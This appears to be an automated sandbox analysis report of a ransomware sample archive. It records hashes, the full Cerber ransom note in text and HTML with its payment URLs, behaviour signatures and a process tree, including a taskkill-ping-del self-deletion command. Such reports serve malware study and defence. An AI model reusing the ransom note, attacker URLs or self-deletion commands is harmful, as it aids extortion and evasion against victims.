Analysis
-
max time kernel
289s -
max time network
389s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
-
submitted
24/02/2025, 22:37
General
-
Target
RNSM00269.7z
-
Size
7.5MB
-
MD5
0c0f6046592a1d447586c0898c572f3b
-
SHA1
e818cecc31794640e06d6ec86795d7765e481c7b
-
SHA256
0675087b8e5b5712b65568224783e6b7f27a26b44dc2361ca3b1e6cd2a5cc338
-
SHA512
19784b266ed7cbde7e3a3121c3d37fd6b667b1218a36b671c3ca87f7121a51d95d10f7d7e7237d8ec3b85f592dd32109b4e09be40ae711a0e311f685c5b69336
-
SSDEEP
196608:RL6nz7HFqicmfW9dyVnlIKYHx3TzTucytZeiSAdc9or:Envlz+9Qp5YTzTbS2Ec9or
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\# DECRYPT MY FILES #.txt
Family
cerber
Ransom Note
C E R B E R R A N S O M W A R E
#########################################################################
Cannot you find the files you need?
Is the content of the files that you looked for not readable?
It is normal because the files' names, as well as the data in your files
have been encrypted.
Great!
You have turned to be a part of a big community "#Cerber Ransomware".
#########################################################################
!!! If you are reading this message it means the software "Cerber" has
!!! been removed from your computer.
!!! HTML instruction ("# DECRYPT MY FILES #.html") always contains a
!!! working domain of your personal page!
#########################################################################
What is encryption?
-------------------
Encryption is a reversible modification of information for security
reasons but providing full access to it for authorized users.
To become an authorized user and keep the modification absolutely
reversible (in other words to have a possibility to decrypt your files)
you should have an individual private key.
But not only it.
It is required also to have the special decryption software
(in your case "Cerber Decryptor" software) for safe and complete
decryption of all your files and data.
#########################################################################
Everything is clear for me but what should I do?
------------------------------------------------
The first step is reading these instructions to the end.
Your files have been encrypted with the "Cerber Ransomware" software; the
instructions ("# DECRYPT MY FILES #.html" and "# DECRYPT MY FILES #.txt")
in the folders with your encrypted files are not viruses, they will
help you.
After reading this text the most part of people start searching in the
Internet the words the "Cerber Ransomware" where they find a lot of
ideas, recommendations and instructions.
It is necessary to realize that we are the ones who closed the lock on
your files and we are the only ones who have this secret key to
open them.
!!! Any attempts to get back your files with the third-party tools can
!!! be fatal for your encrypted files.
The most part of the third-party software change data within the
encrypted file to restore it but this causes damage to the files.
Finally it will be impossible to decrypt your files.
When you make a puzzle, but some items are lost, broken or not put in its
place - the puzzle items will never match, the same way the third-party
software will ruin your files completely and irreversibly.
You should realize that any intervention of the third-party software to
restore files encrypted with the "Cerber Ransomware" software may be
fatal for your files.
#########################################################################
!!! There are several plain steps to restore your files but if you do
!!! not follow them we will not be able to help you, and we will not try
!!! since you have read this warning already.
#########################################################################
For your information the software to decrypt your files (as well as the
private key provided together) are paid products.
After purchase of the software package you will be able to:
1. decrypt all your files;
2. work with your documents;
3. view your photos and other media;
4. continue your usual and comfortable work at the computer.
If you understand all importance of the situation then we propose to you
to go directly to your personal page where you will receive the complete
instructions and guarantees to restore your files.
#########################################################################
There is a list of temporary addresses to go on your personal page below:
_______________________________________________________________________
|
| 1. http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7
|
| 2. http://52uo5k3t73ypjije.n41n1a.top/3EB0-08AD-8A18-006D-FBB7
|
| 3. http://52uo5k3t73ypjije.3odvfb.top/3EB0-08AD-8A18-006D-FBB7
|
| 4. http://52uo5k3t73ypjije.pap44w.top/3EB0-08AD-8A18-006D-FBB7
|
| 5. http://52uo5k3t73ypjije.onion.to/3EB0-08AD-8A18-006D-FBB7
|_______________________________________________________________________
#########################################################################
What should you do with these addresses?
----------------------------------------
If you read the instructions in TXT format (if you have instruction in
HTML (the file with an icon of your Internet browser) then the easiest
way is to run it):
1. take a look at the first address (in this case it is
http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7);
2. select it with the mouse cursor holding the left mouse button and
moving the cursor to the right;
3. release the left mouse button and press the right one;
4. select "Copy" in the appeared menu;
5. run your Internet browser (if you do not know what it is run the
Internet Explorer);
6. move the mouse cursor to the address bar of the browser (this is the
place where the site address is written);
7. click the right mouse button in the field where the site address
is written;
8. select the button "Insert" in the appeared menu;
9. then you will see the address
http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7
appeared there;
10. press ENTER;
11. the site should be loaded; if it is not loaded repeat the same
instructions with the second address and continue until the last
address if falling.
If for some reason the site cannot be opened check the connection to the
Internet; if the site still cannot be opened take a look at the
instructions on omitting the point about working with the addresses in
the HTML instructions.
If you browse the instructions in HTML format:
1. click the left mouse button on the first address (in this case it is
http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7);
2. in a new tab or window of your web browser the site should be loaded;
if it is not loaded repeat the same instructions with the second
address and continue until the last address.
If for some reason the site cannot be opened check the connection to
the Internet.
#########################################################################
Unfortunately these sites are short-term since the antivirus companies
are interested in you do not have a chance to restore your files but
continue to buy their products.
Unlike them we are ready to help you always.
If you need our help but the temporary sites are not available:
1. run your Internet browser (if you do not know what it is run the
Internet Explorer);
2. enter or copy the address
https://www.torproject.org/download/download-easy.html.en into the
address bar of your browser and press ENTER;
3. wait for the site loading;
4. on the site you will be offered to download Tor Browser; download and
run it, follow the installation instructions, wait until the
installation is completed;
5. run Tor Browser;
6. connect with the button "Connect" (if you use the English version);
7. a normal Internet browser window will be opened after
the initialization;
8. type or copy the address
________________________________________________________
| |
| http://52uo5k3t73ypjije.onion/3EB0-08AD-8A18-006D-FBB7 |
|________________________________________________________|
in this browser address bar;
9. press ENTER;
10. the site should be loaded; if for some reason the site is not loading
wait for a moment and try again.
If you have any problems during installation or operation of Tor Browser,
please, visit https://www.youtube.com/ and type request in the search bar
"install tor browser windows" and you will find a lot of training videos
about Tor Browser installation and operation.
If TOR address is not available for a long period (2-3 days) it means you
are late; usually you have about 2-3 weeks after reading the instructions
to restore your files.
#########################################################################
Additional information:
You will find the instructions for restoring your files in those folders
where you have your encrypted files only.
The instructions are made in two file formats - HTML and TXT for
your convenience.
Unfortunately antivirus companies cannot protect or restore your files
but they can make the situation worse removing the instructions how to
restore your encrypted files.
The instructions are not viruses; they have informative nature only, so
any claims on the absence of any instruction files you can send to your
antivirus company.
#########################################################################
Cerber Ransomware Project is not malicious and is not intended to harm a
person and his/her information data.
The project is created for the sole purpose of instruction regarding
information security, as well as certification of antivirus software for
their suitability for data protection.
Together we make the Internet a better and safer place.
#########################################################################
If you look through this text in the Internet and realize that something
is wrong with your files but you do not have any instructions to restore
your files, please, contact your antivirus support.
#########################################################################
Remember that the worst situation already happened and now it depends on
your determination and speed of your actions the further life of
your files.
URLs
http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7
http://52uo5k3t73ypjije.n41n1a.top/3EB0-08AD-8A18-006D-FBB7
http://52uo5k3t73ypjije.3odvfb.top/3EB0-08AD-8A18-006D-FBB7
http://52uo5k3t73ypjije.pap44w.top/3EB0-08AD-8A18-006D-FBB7
http://52uo5k3t73ypjije.onion.to/3EB0-08AD-8A18-006D-FBB7
http://52uo5k3t73ypjije.onion/3EB0-08AD-8A18-006D-FBB7
Extracted
Path
C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\# DECRYPT MY FILES #.html
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Cerber Ransomware</title>
<style>
a {
color: #47c;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
body {
background-color: #e7e7e7;
color: #333;
font-family: "Helvetica Neue", Helvetica, "Segoe UI", Arial, freesans, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
font-size: 16px;
line-height: 1.6;
margin: 0;
padding: 0;
}
hr {
background-color: #e7e7e7;
border: 0 none;
border-bottom: 1px solid #c7c7c7;
height: 5px;
margin: 30px 0;
}
li {
padding: 0 0 7px 7px;
}
ol {
padding-left: 3em;
}
.container {
background-color: #fff;
border: 1px solid #c7c7c7;
margin: 40px;
padding: 40px 40px 20px 40px;
}
.info, .tor {
background-color: #efe;
border: 1px solid #bda;
display: block;
padding: 0px 20px;
}
.logo {
font-size: 12px;
font-weight: bold;
line-height: 1;
margin: 0;
}
.upd_on {
color: red;
display: block;
}
.upd_off {
display: none;
float: left;
}
.tor {
padding: 10px 0;
text-align: center;
}
.url {
margin-right: 5px;
}
.warning {
background-color: #f5e7e7;
border: 1px solid #ebccd1;
color: #a44;
display: block;
padding: 15px 10px;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h3>C E R B E R R A N S O M W A R E</h3>
<hr>
<p>Cannot you find the files you need?<br>Is the content of the files that you looked for not readable?</p>
<p>It is normal because the files' names, as well as the data in your files have been encrypted.</p>
<p>Great!<br>You have turned to be a part of a big community "#Cerber Ransomware".</p>
<hr>
<p><span class="warning">If you are reading this message it means the software "Cerber" has been removed from your computer.</span></p>
<hr>
<h3>What is encryption?</h3>
<p>Encryption is a reversible modification of information for security reasons but providing full access to it for authorized users.</p>
<p>To become an authorized user and keep the modification absolutely reversible (in other words to have a possibility to decrypt your files) you should have an individual private key.</p>
<p>But not only it.</p>
<p>It is required also to have the special decryption software (in your case "Cerber Decryptor" software) for safe and complete decryption of all your files and data.</p>
<hr>
<h3>Everything is clear for me but what should I do?</h3>
<p>The first step is reading these instructions to the end.</p>
<p>Your files have been encrypted with the "Cerber Ransomware" software; the instructions ("# DECRYPT MY FILES #.html" and "# DECRYPT MY FILES #.txt") in the folders with your encrypted files are not viruses, they will help you.</p>
<p>After reading this text the most part of people start searching in the Internet the words the "Cerber Ransomware" where they find a lot of ideas, recommendations and instructions.</p>
<p>It is necessary to realize that we are the ones who closed the lock on your files and we are the only ones who have this secret key to open them.</p>
<p><span class="warning">Any attempts to get back your files with the third-party tools can be fatal for your encrypted files.</span></p>
<p>The most part of the third-party software change data within the encrypted file to restore it but this causes damage to the files.</p>
<p>Finally it will be impossible to decrypt your files.</p>
<p>When you make a puzzle, but some items are lost, broken or not put in its place - the puzzle items will never match, the same way the third-party software will ruin your files completely and irreversibly.</p>
<p>You should realize that any intervention of the third-party software to restore files encrypted with the "Cerber Ransomware" software may be fatal for your files.</p>
<hr>
<p><span class="warning">There are several plain steps to restore your files but if you do not follow them we will not be able to help you, and we will not try since you have read this warning already.</span></p>
<hr>
<p>For your information the software to decrypt your files (as well as the private key provided together) are paid products.</p>
<p>After purchase of the software package you will be able to:</p>
<ol>
<li>decrypt all your files;</li>
<li>work with your documents;</li>
<li>view your photos and other media;</li>
<li>continue your usual and comfortable work at the computer.</li>
</ol>
<p>If you understand all importance of the situation then we propose to you to go directly to your personal page where you will receive the complete instructions and guarantees to restore your files.</p>
<hr>
<div class="info">
<p>There is a list of temporary addresses to go on your personal page below:</p>
<ol>
<li><span class="upd_off" id="upd_1">Please wait...</span><a class="url" href="http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7" id="url_1" target="_blank">http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7</a>(<a href="#updateUrl" onClick="return updateUrl();" style="color: red;">Get a NEW address!</a>)</li>
<li><a href="http://52uo5k3t73ypjije.n41n1a.top/3EB0-08AD-8A18-006D-FBB7" target="_blank">http://52uo5k3t73ypjije.n41n1a.top/3EB0-08AD-8A18-006D-FBB7</a></li>
<li><a href="http://52uo5k3t73ypjije.3odvfb.top/3EB0-08AD-8A18-006D-FBB7" target="_blank">http://52uo5k3t73ypjije.3odvfb.top/3EB0-08AD-8A18-006D-FBB7</a></li>
<li><a href="http://52uo5k3t73ypjije.pap44w.top/3EB0-08AD-8A18-006D-FBB7" target="_blank">http://52uo5k3t73ypjije.pap44w.top/3EB0-08AD-8A18-006D-FBB7</a></li>
<li><a href="http://52uo5k3t73ypjije.onion.to/3EB0-08AD-8A18-006D-FBB7" target="_blank">http://52uo5k3t73ypjije.onion.to/3EB0-08AD-8A18-006D-FBB7</a></li>
</ol>
</div>
<hr>
<h3>What should you do with these addresses?</h3>
<p>If you read the instructions in TXT format (if you have instruction in HTML (the file with an icon of your Internet browser) then the easiest way is to run it):</p>
<ol>
<li>take a look at the first address (in this case it is <span class="upd_off" id="upd_2">Please wait...</span><a class="url" href="http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7" id="url_2" target="_blank">http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7</a>);</li>
<li>select it with the mouse cursor holding the left mouse button and moving the cursor to the right;</li>
<li>release the left mouse button and press the right one;</li>
<li>select "Copy" in the appeared menu;</li>
<li>run your Internet browser (if you do not know what it is run the Internet Explorer);</li>
<li>move the mouse cursor to the address bar of the browser (this is the place where the site address is written);</li>
<li>click the right mouse button in the field where the site address is written;</li>
<li>select the button "Insert" in the appeared menu;</li>
<li>then you will see the address <span class="upd_off" id="upd_3">Please wait...</span><a class="url" href="http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7" id="url_3" target="_blank">http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7</a> appeared there;</li>
<li>press ENTER;</li>
<li>the site should be loaded; if it is not loaded repeat the same instructions with the second address and continue until the last address if falling.</li>
</ol>
<p>If for some reason the site cannot be opened check the connection to the Internet; if the site still cannot be opened take a look at the instructions on omitting the point about working with the addresses in the HTML instructions.</p>
<p>If you browse the instructions in HTML format:</p>
<ol>
<li>click the left mouse button on the first address (in this case it is <span class="upd_off" id="upd_4">Please wait...</span><a class="url" href="http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7" id="url_4" target="_blank">http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7</a>);</li>
<li>in a new tab or window of your web browser the site should be loaded; if it is not loaded repeat the same instructions with the second address and continue until the last address.</li>
</ol>
<p>If for some reason the site cannot be opened check the connection to the Internet.</p>
<hr>
<p>Unfortunately these sites are short-term since the antivirus companies are interested in you do not have a chance to restore your files but continue to buy their products.</p>
<p>Unlike them we are ready to help you always.</p>
<p>If you need our help but the temporary sites are not available:</p>
<ol>
<li>run your Internet browser (if you do not know what it is run the Internet Explorer);</li>
<li>enter or copy the address <a href="https://www.torproject.org/download/download-easy.html.en" target="_blank">https://www.torproject.org/download/download-easy.html.en</a> into the address bar of your browser and press ENTER;</li>
<li>wait for the site loading;</li>
<li>on the site you will be offered to download Tor Browser; download and run it, follow the installation instructions, wait until the installation is completed;</li>
<li>run Tor Browser;</li>
<li>connect with the button "Connect" (if you use the English version);</li>
<li>a normal Internet browser window will be opened after the initialization;</li>
<li>type or copy the address <span class="tor">http://52uo5k3t73ypjije.onion/3EB0-08AD-8A18-006D-FBB7</span> in this browser address bar;</li>
<li>press ENTER;</li>
<li>the site should be loaded; if for some reason the site is not loading wait for a moment and try again.</li>
</ol>
<p>If you have any problems during installation or operation of Tor Browser, please, visit <a href="https://www.youtube.com/results?search_query=install+tor+browser+windows" target="_blank">https://www.youtube.com/</a> and type request in the search bar "install tor browser windows" and you will find a lot of training videos about Tor Browser installation and operation.</p>
<p>If TOR address is not available for a long period (2-3 days) it means you are late; usually you have about 2-3 weeks after reading the instructions to restore your files.</p>
<hr>
<h3>Additional information:</h3>
<p>You will find the instructions for restoring your files in those folders where you have your encrypted files only.</p>
<p>The instructions are made in two file formats - HTML and TXT for your convenience.</p>
<p>Unfortunately antivirus companies cannot protect or restore your files but they can make the situation worse removing the instructions how to restore your encrypted files.</p>
<p>The instructions are not viruses; they have informative nature only, so any claims on the absence of any instruction files you can send to your antivirus company.</p>
<hr>
<p>Cerber Ransomware Project is not malicious and is not intended to harm a person and his/her information data.</p>
<p>The project is created for the sole purpose of instruction regarding information security, as well as certification of antivirus software for their suitability for data protection.</p>
<p>Together we make the Internet a better and safer place.</p>
<hr>
<p>If you look through this text in the Internet and realize that something is wrong with your files but you do not have any instructions to restore your files, please, contact your antivirus support.</p>
<hr>
<p>Remember that the worst situation already happened and now it depends on your determination and speed of your actions the further life of your files.</p>
</div>
<script>
function getXMLHttpRequest() {
if (window.XMLHttpRequest) {
return new window.XMLHttpRequest;
}
else {
try {
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch(error) {
return null;
}
}
}
function getUrlContent(url, callback) {
var xhttp = getXMLHttpRequest();
if (xhttp) {
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4) {
if (xhttp.status == 200) {
return callback(xhttp.responseText.replace(/[\s ]+/gm, ""), null);
}
else {
return callback(null, true);
}
}
};
xhttp.open("GET", url + '?_=' + new Date().getTime(), true);
xhttp.send();
}
else {
return callback(null, true);
}
}
function server1(address, callback) {
getUrlContent("http://btc.blockr.io/api/v1/address/txs/" + address, function(result, error) {
if (!error) {
var tx = /"tx":"([\w]+)","time_utc":"[\w-:]+","confirmations":[\d]+,"amount":-/.exec(result);
if (tx) {
getUrlContent("http://btc.blockr.io/api/v1/tx/info/" + tx[1], function(result, error) {
if (!error) {
var address = /"vouts":\[{"address":"([\w]+)"/.exec(result);
if (address) {
return callback(address[1], null);
}
else {
return callback(null, true);
}
}
else {
return callback(null, true);
}
});
}
else {
return callback(null, true);
}
}
else {
return callback(null, true);
}
});
}
function server2(address, callback) {
getUrlContent("http://api.blockcypher.com/v1/btc/main/addrs/" + address, function(result, error) {
if (!error) {
var tx = /"tx_hash":"([\w]+)","block_height":[\d]+,"tx_input_n":[\d-]+,"tx_output_n":-/.exec(result);
if (tx) {
getUrlContent("http://api.blockcypher.com/v1/btc/main/txs/" + tx[1], function(result, error) {
if (!error) {
var address = /"outputs":\[{"value":[\d]+,"script":"[\w]+","spent_by":"[\w]+","addresses":\["([\w]+)"/.exec(result);
if (address) {
return callback(address[1], null);
}
else {
return callback(null, true);
}
}
else {
return callback(null, true);
}
});
}
else {
return callback(null, true);
}
}
else {
return callback(null, true);
Signatures
-
Cerber 6 IoCs
Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.
-
Cerber family
-
Gozi
Gozi is a well-known and widely distributed banking trojan.
-
Gozi family
-
Locky
Ransomware strain released in 2016, with advanced features like anti-analysis.
-
Locky family
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
-
Njrat family
-
UAC bypass 3 TTPs 1 IoCs
-
njRAT/Bladabindi
Widely used RAT written in .NET.
-
Adds policy Run key to start application 2 TTPs 5 IoCs
-
Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
-
Contacts a large (564) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 13 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 8 IoCs
-
Executes dropped EXE 64 IoCs
-
Loads dropped DLL 13 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 24 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Enumerates connected drives 3 TTPs 14 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
AutoIT Executable 7 IoCs
AutoIT scripts compiled to PE executables.
-
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Suspicious use of SetThreadContext 29 IoCs
-
UPX packed file 29 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 17 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 3 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 34 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 9 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
-
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 20 IoCs
-
Modifies Control Panel 10 IoCs
-
Modifies Internet Explorer settings 1 TTPs 22 IoCs
-
Modifies registry class 64 IoCs
-
NTFS ADS 2 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Runs ping.exe 1 TTPs 17 IoCs
-
Suspicious behavior: AddClipboardFormatListener 4 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 8 IoCs
-
Suspicious behavior: MapViewOfSection 10 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 60 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 4 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00269.7z"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00269\HEUR-Trojan-Ransom.Win32.Zerber.gen-98c411c2132a1b75e6a597bde86b9006260585dcde632cdaf60f33886519dd4a.exeHEUR-Trojan-Ransom.Win32.Zerber.gen-98c411c2132a1b75e6a597bde86b9006260585dcde632cdaf60f33886519dd4a.exe2⤵
- Cerber
- Adds policy Run key to start application
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"3⤵
- Cerber
- Adds policy Run key to start application
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\# DECRYPT MY FILES #.html4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd975046f8,0x7ffd97504708,0x7ffd975047185⤵
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\# DECRYPT MY FILES #.txt4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://52uo5k3t73ypjije.fr2vai.top/3EB0-08AD-8A18-006D-FBB7?auto4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd975046f8,0x7ffd97504708,0x7ffd975047185⤵
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\# DECRYPT MY FILES #.vbs"4⤵
-
-
C:\Windows\system32\cmd.exe/d /c taskkill /t /f /im "GamePanel.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe" > NUL4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\taskkill.exetaskkill /t /f /im "GamePanel.exe"5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\PING.EXEping -n 1 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "HEUR-Trojan-Ransom.Win32.Zerber.gen-98c411c2132a1b75e6a597bde86b9006260585dcde632cdaf60f33886519dd4a.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\HEUR-Trojan-Ransom.Win32.Zerber.gen-98c411c2132a1b75e6a597bde86b9006260585dcde632cdaf60f33886519dd4a.exe" > NUL3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "HEUR-Trojan-Ransom.Win32.Zerber.gen-98c411c2132a1b75e6a597bde86b9006260585dcde632cdaf60f33886519dd4a.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.MSIL.Agent.ghg-27182f0ac7425531461affe696f276a11dd5562e2fad18905831e94f5b0ae6a3.exeTrojan-Ransom.MSIL.Agent.ghg-27182f0ac7425531461affe696f276a11dd5562e2fad18905831e94f5b0ae6a3.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /F /IM explorer.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM explorer.exe4⤵
- Cerber
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.microsoft.com/en-in/3⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xdc,0x108,0x7ffd975046f8,0x7ffd97504708,0x7ffd975047184⤵
-
-
